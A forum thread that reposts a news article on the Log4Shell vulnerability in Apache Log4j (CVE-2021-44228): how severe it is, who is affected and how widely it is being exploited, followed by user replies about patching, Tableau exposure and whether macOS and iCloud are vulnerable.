Critical Log4J Vulnerability Leaves Much of the Internet at Risk

[iHorseHead]

The Apache Software Foundation has released fixes to contain an actively exploited zero-day vulnerability affecting the widely-used Apache Log4j Java-based logging library that could be weaponized to execute malicious code and allow a complete takeover of vulnerable systems.

Tracked as CVE-2021-44228 and by the monikers Log4Shell or LogJam, the issue concerns a case of unauthenticated, remote code execution (RCE) on any application that uses the open-source utility and affects versions Log4j 2.0-beta9 up to 2.14.1. The bug has scored a perfect 10 on 10 in the CVSS rating system, indicative of the severity of the issue.

"An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled," the Apache Foundation saidin an advisory. "From Log4j 2.15.0, this behavior has been disabled by default."

Exploitation can be achieved by a single string of text, which can trigger an application to reach out to a malicious external host if it is logged via the vulnerable instance of Log4j, effectively granting the adversary the ability to retrieve a payload from a remote server and execute it locally. The project maintainers credited Chen Zhaojun of Alibaba Cloud Security Team with discovering the issue.

Log4j is used as a logging package in a variety of different popular software by a number of manufacturers, including Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and video games such as Minecraft. In the case of the latter, attackers have been able to gain RCE on Minecraft Servers by simply pasting a specially crafted message into the chat box.

A huge attack surface​

"The Apache Log4j zero-day vulnerability is probably the most critical vulnerability we have seen this year," said Bharat Jogi, senior manager of vulnerabilities and signatures at Qualys. "Log4j is a ubiquitous library used by millions of Java applications for logging error messages. This vulnerability is trivial to exploit."

Cybersecurity firms BitDefender, Cisco Talos, Huntress Labs, and Sonatype have all confirmed evidence of mass scanning of affected applications in the wild for vulnerable servers and attacks registered against their honeypot networks following the availability of a proof-of-concept (PoC) exploit. "This is a low skilled attack that is extremely simple to execute," Sonatype's Ilkka Turunen said.

GreyNoise, likening the flaw to Shellshock, said it observed malicious activity targeting the vulnerability commencing on December 9, 2021. Web infrastructure company Cloudflare noted that it blocked roughly 20,000 exploit requests per minute around 6:00 p.m. UTC on Friday, with most of the exploitation attempts originating from Canada, the U.S., Netherlands, France, and the U.K.

Given the ease of exploitation and prevalence of Log4j in enterprise IT and DevOps, in-the-wild attacksaimed at susceptible servers are expected to ramp up in the coming days, making it imperative to address the flaw immediately. Israeli cybersecurity firm Cybereason has also released a fix called "Logout4Shell" that closes out the shortcoming by using the vulnerability itself to reconfigure the logger and prevent further exploitation of the attack.

Source
The National Cyber Security Centre - UK

 

[I7guy]

Yup, it’s bad.

 

[TiggrToo]

Yup, it’s bad.

It’s worse. The patch has been shown to be almost just as vulnerable. If you’d patched before today, you gotta patch again…

 

[I7guy]

It’s worse. The patch has been shown to be almost just as vulnerable. If you’d patched before today, you gotta patch again…

Didn’t realize. We’re waiting on vendor patches.

 

[TiggrToo]

Didn’t realize. We’re waiting on vendor patches.

We lucked out with our front facing Tableau instance - we’ve managed to put enough protections around the instance to remove the biggest threat and we have the advantage of using SAML for our external customers to log in so we don’t need to expose the Tableau login page to the world. Between the three security rings that care capturing about 95% of the attempts and ensuring that Tableau reports can only be generated AFTER you’ve logged in, we’re safe enough for now.

Otherwise I think we’d have lost a large number of our external customers taking it away from them just as we aproach year end.

We must be one of the few places left with a front facing Tableau server still out on the public web.

These are dark times.

 

[techno-Zen]

Any particular effect on MacOS endpoints?

 

[TiggrToo]

Any particular effect on MacOS endpoints?

That's an open ended question.

If you're talking out the box totally clean OS - then AFAIK, no.

Otherwise no-one can answer that question.

As for if there are any endpoints that Apple expose - I think iCloud login was vulnerable for a while and Ive read other systems were/are as well.

 

[iHorseHead]

My company is still fixing and updating software.

 

[UKgaryb]

Xcode is vulnerable https://developer.apple.com/forums/thread/696785 as is most of Apple's iCloud infrastructure.

 

[TriBruin]

That's an open ended question.

If you're talking out the box totally clean OS - then AFAIK, no.

Otherwise no-one can answer that question.

As for if there are any endpoints that Apple expose - I think iCloud login was vulnerable for a while and Ive read other systems were/are as well.

We reached out to Enterprise support, Apple confirmed to us that macOS does not use log4j, so there is no vulnerability from that stand point.

However, I wish Apple was a little more forthcoming with details. Most vendors have posted webpages or blogs with what products are and are not affect. With Apple, there stock answer is "We don't talk about security issues." That does not go over well with CISOs trying to get a handle on how exposed their environment is.